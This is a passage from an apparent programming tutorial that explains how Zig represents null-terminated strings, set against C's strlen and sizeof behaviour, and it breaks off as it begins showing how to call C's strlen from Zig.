&lt;p>Frustratingly, the &lt;code>char*&lt;/code> type doesn&amp;rsquo;t tell the C compiler where the string ends. Instead, C applications indicate the end of a string with a &amp;ldquo;null terminator,&amp;rdquo; a byte after the last character in a string with the value of &lt;code>0&lt;/code>.&lt;/p>
&lt;p>If I call &lt;code>strlen&lt;/code>, which returns the length of a string, it tells me the number of characters in the string, excluding the null terminator:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;strlen=%lu&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, &lt;span style="color:#447fcf">strlen&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>));
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>strlen=2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Even though &lt;code>strlen&lt;/code> says the string has length two, the &lt;code>sizeof&lt;/code> function tells me the size of the string in bytes, which is three:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;sizeof=%lu&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, &lt;span style="color:#6ab825;font-weight:bold">sizeof&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>));
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>sizeof=3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The reason &lt;code>sizeof&lt;/code> returns &lt;code>3&lt;/code> for a two-character string is that C implicitly added a null terminator at the end of the string.&lt;/p>
&lt;p>I can prove the null terminator is there by printing the value of the each character in the string:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> s[] = &lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;%s=[%c, %c, %d]&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, s, s[&lt;span style="color:#3677a9">0&lt;/span>], s[&lt;span style="color:#3677a9">1&lt;/span>], s[&lt;span style="color:#3677a9">2&lt;/span>]);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>hi=[h, i, 0]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Strings in C and C++ are extremely fragile and frequently cause security vulnerabilities and application crashes. Because the compiler doesn&amp;rsquo;t know the length of the string, it&amp;rsquo;s easy for C code to accidentally overwrite memory that belongs to other variables in your application.&lt;/p>
&lt;h2 id="a-basic-zig-string">A basic Zig string&lt;/h2>
&lt;p>Zig is designed to be a modern replacement for C, so it has a difficult job. It has to correct the mistakes of C while also making it easy to interoperate with legacy C code.&lt;/p>
&lt;p>Here&amp;rsquo;s a simple Zig application to demonstrate how strings work:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hello&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s is type {s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#24909d">@typeName&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(s))});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig run src/strings.zig
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>s is &lt;span style="color:#24909d">type&lt;/span> *const [5:0]u8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The string &lt;code>&amp;quot;hello&amp;quot;&lt;/code> in Zig has a type of &lt;code>*const [5:0]u8&lt;/code>.&lt;/p>
&lt;p>There&amp;rsquo;s a lot of information in the variable type, so I&amp;rsquo;ll explain it from right to left.&lt;/p>
&lt;p>&lt;code>u8&lt;/code> is how Zig represents a byte, which is an unsigned value of 8 bits.&lt;/p>
&lt;p>&lt;code>:0&lt;/code> means that this is a sentinel-terminated buffer with a sentinel value of &lt;code>0&lt;/code> (i.e., a null-terminated buffer).&lt;/p>
&lt;p>&lt;code>const&lt;/code> means that this is a constant variable, so I can&amp;rsquo;t change it after I assign a value.&lt;/p>
&lt;p>&lt;code>*&lt;/code> means that this value is a pointer to a memory location.&lt;/p>
&lt;p>Two important takeaways here:&lt;/p>
&lt;ul>
&lt;li>Zig knows the length of the string variable.&lt;/li>
&lt;li>Zig adds a null terminator to strings.&lt;/li>
&lt;/ul>
&lt;h2 id="zigs-null-terminator-is-for-c-compatibility">Zig&amp;rsquo;s null terminator is for C compatibility&lt;/h2>
&lt;p>In C, a null terminator effectively determines the length of the string. If you have a five-character string, and you replace character 3 with a null byte, every C string function now considers that string to be two characters long.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Truncating a string in C.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> s[] = &lt;span style="color:#ed9d13">&amp;#34;hello&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>s[&lt;span style="color:#3677a9">2&lt;/span>] = &lt;span style="color:#ed9d13">&amp;#39;\0&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s=[%s]&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, s);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;len=%lu&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, &lt;span style="color:#447fcf">strlen&lt;/span>(s));
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>s=[he]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>len=2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In Zig, a string still has a null terminator, but as far as I can tell, the null terminator is meaningless to Zig APIs. When I print the string or check its length, a null character makes no difference. Zig knows the string&amp;rsquo;s true length regardless of where it finds a null character.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Trying to null-terminate a string in the middle in Zig.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>[_:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;h&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;e&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;l&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;o&amp;#39;&lt;/span>&lt;span style="color:#666"> &lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s={s}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{s});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s.len={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{s.len});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>s=[helo]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>s.len=5
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="understanding-null-termination-in-zig">Understanding null-termination in Zig&lt;/h2>
&lt;h3 id="the-len-field-excludes-the-null-character">The &lt;code>len&lt;/code> field excludes the null character&lt;/h3>
&lt;p>When you declare a string in Zig, it has a &lt;code>len&lt;/code> property to report the string&amp;rsquo;s length. Interestingly, the length excludes the null-termination character:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s.len={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{s.len});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>s.len=2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I know that the length of the string is &lt;em>actually&lt;/em> three because it has to store the null byte as well. I can prove it by checking the size of the string in bytes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#999;font-style:italic">// Dereference the string s with s.*. Otherwise, Zig would report the size of
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// the pointer.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;@sizeOf={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#24909d">@sizeOf&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(s.*))});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>@sizeOf=3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="where-is-the-real-array-boundary">Where is the real array boundary?&lt;/h3>
&lt;p>In most languages, if an array has size &lt;code>N&lt;/code>, you&amp;rsquo;re only able to read up to slot &lt;code>N - 1&lt;/code> in the array. For example, in an array of size &lt;code>2&lt;/code>, you can read slot &lt;code>0&lt;/code>, and you can read slot &lt;code>1&lt;/code>, but reading slot &lt;code>2&lt;/code> will either cause a runtime crash or have undefined behavior.&lt;/p>
&lt;p>Zig&amp;rsquo;s normal arrays behave similarly to other languages, but Zig&amp;rsquo;s sentinel-terminated arrays allow you to read one slot beyond the supposed end of the array. This is because, despite what &lt;code>.len&lt;/code> claims, there&amp;rsquo;s an extra slot for the sentinel value:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s[{d}]={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>s.len,&lt;span style="color:#666"> &lt;/span>s[s.len]&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>s[2]=0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At first, I wasn&amp;rsquo;t sure if I was understanding the behavior properly. Maybe I&amp;rsquo;m actually reading beyond the array bounds, but the next byte in memory happens to be &lt;code>0&lt;/code>?&lt;/p>
&lt;p>No, the Zig documentation confirms that you can read slot &lt;code>N&lt;/code> in an &lt;code>N&lt;/code>-length sentinel-terminated array:&lt;/p>
&lt;blockquote>
&lt;p>Sentinel-terminated slices allow element access to the &lt;code>len&lt;/code> index.&lt;/p>
&lt;p>&lt;a href="https://ziglang.org/documentation/0.11.0/#Sentinel-Terminated-Slices">https://ziglang.org/documentation/0.11.0/#Sentinel-Terminated-Slices&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>I can also try to read slot &lt;code>N + 1&lt;/code> and see that Zig refuses to compile the code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s[{d}]={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>s.len&lt;span style="color:#666"> &lt;/span>+&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>,&lt;span style="color:#666"> &lt;/span>s[s.len&lt;span style="color:#666"> &lt;/span>+&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>]&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>src/corrupt-string.zig:5:59: error: index 3 outside array of length 2 +1 (sentinel)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> std.debug.print(&amp;#34;s[{d}]={d}\n&amp;#34;, .{ s.len + 1, s[s.len + 1] });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ~~~~~~^~~
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The compiler message says explicitly that the variable has length &lt;code>2 + 1&lt;/code>, so it&amp;rsquo;s reserving an extra slot for the null terminator.&lt;/p>
&lt;h3 id="you-cant-overwrite-the-null-terminator">You can&amp;rsquo;t overwrite the null-terminator&lt;/h3>
&lt;p>The Zig documentation claims that the &lt;code>[:0]&lt;/code> syntax means that Zig &lt;a href="https://ziglang.org/documentation/0.11.0/#Sentinel-Terminated-Slices">&amp;ldquo;guarantees a sentinel value at the element indexed by the length.&amp;rdquo;&lt;/a>&lt;/p>
&lt;p>I decided to test this by overwriting the null character in a null-terminated buffer:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>[_:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;h&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;e&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;l&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;l&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;o&amp;#39;&lt;/span>&lt;span style="color:#666"> &lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>s[s.len]&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;A&amp;#39;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above code compiles and runs without an error.&lt;/p>
&lt;p>That&amp;rsquo;s surprising. Isn&amp;rsquo;t Zig supposed to guarantee the null-termination property?&lt;/p>
&lt;p>It turns out that Zig guarantees null-termination by &lt;a href="https://github.com/ziglang/zig/issues/9791#issuecomment-1854907508">ignoring assignments that overwrite the null-terminator character&lt;/a>. So even though my code told Zig to overwrite the null-termination character, Zig casually ignores the assignment, thus preserving the null-termination property.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>[_:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;h&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;e&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;l&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;l&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;o&amp;#39;&lt;/span>&lt;span style="color:#666"> &lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>s[s.len]&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;A&amp;#39;&lt;/span>;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// This line has no effect.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s[{d}]={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>s.len,&lt;span style="color:#666"> &lt;/span>s[s.len]&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>s[5]=0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="passing-zig-strings-to-c-code">Passing Zig strings to C code&lt;/h2>
&lt;p>Now that I understand how Zig strings work, I can show how to leverage Zig&amp;rsquo;s null-termination guarantees to call into C code more safely.&lt;/p>
&lt;p>Imagine that from my Zig code, I want to call a C function that takes a string parameter. As an example, I&amp;rsquo;ll show how I&amp;rsquo;d call the C standard library &lt;a href="https://en.cppreference.com/w/cpp/string/byte/strlen">&lt;code>strlen&lt;/code> function&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Returns the length of the C string str.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">size_t&lt;/span> &lt;span style="color:#447fcf">strlen&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span>* str);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>strlen&lt;/code> is a simple function. It iterates through a string looking for the first &lt;code>0&lt;/code> byte and returns the number of bytes that &lt;em>weren&amp;rsquo;t&lt;/em> &lt;code>0&lt;/code>.&lt;/p>
&lt;p>To call functions that the C standard library declares in its &lt;code>string.h&lt;/code> header file, I import the header like this in Zig:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cString&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;string.h&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That allows me to call the &lt;code>strlen&lt;/code> function from Zig like this:&lt;/p>
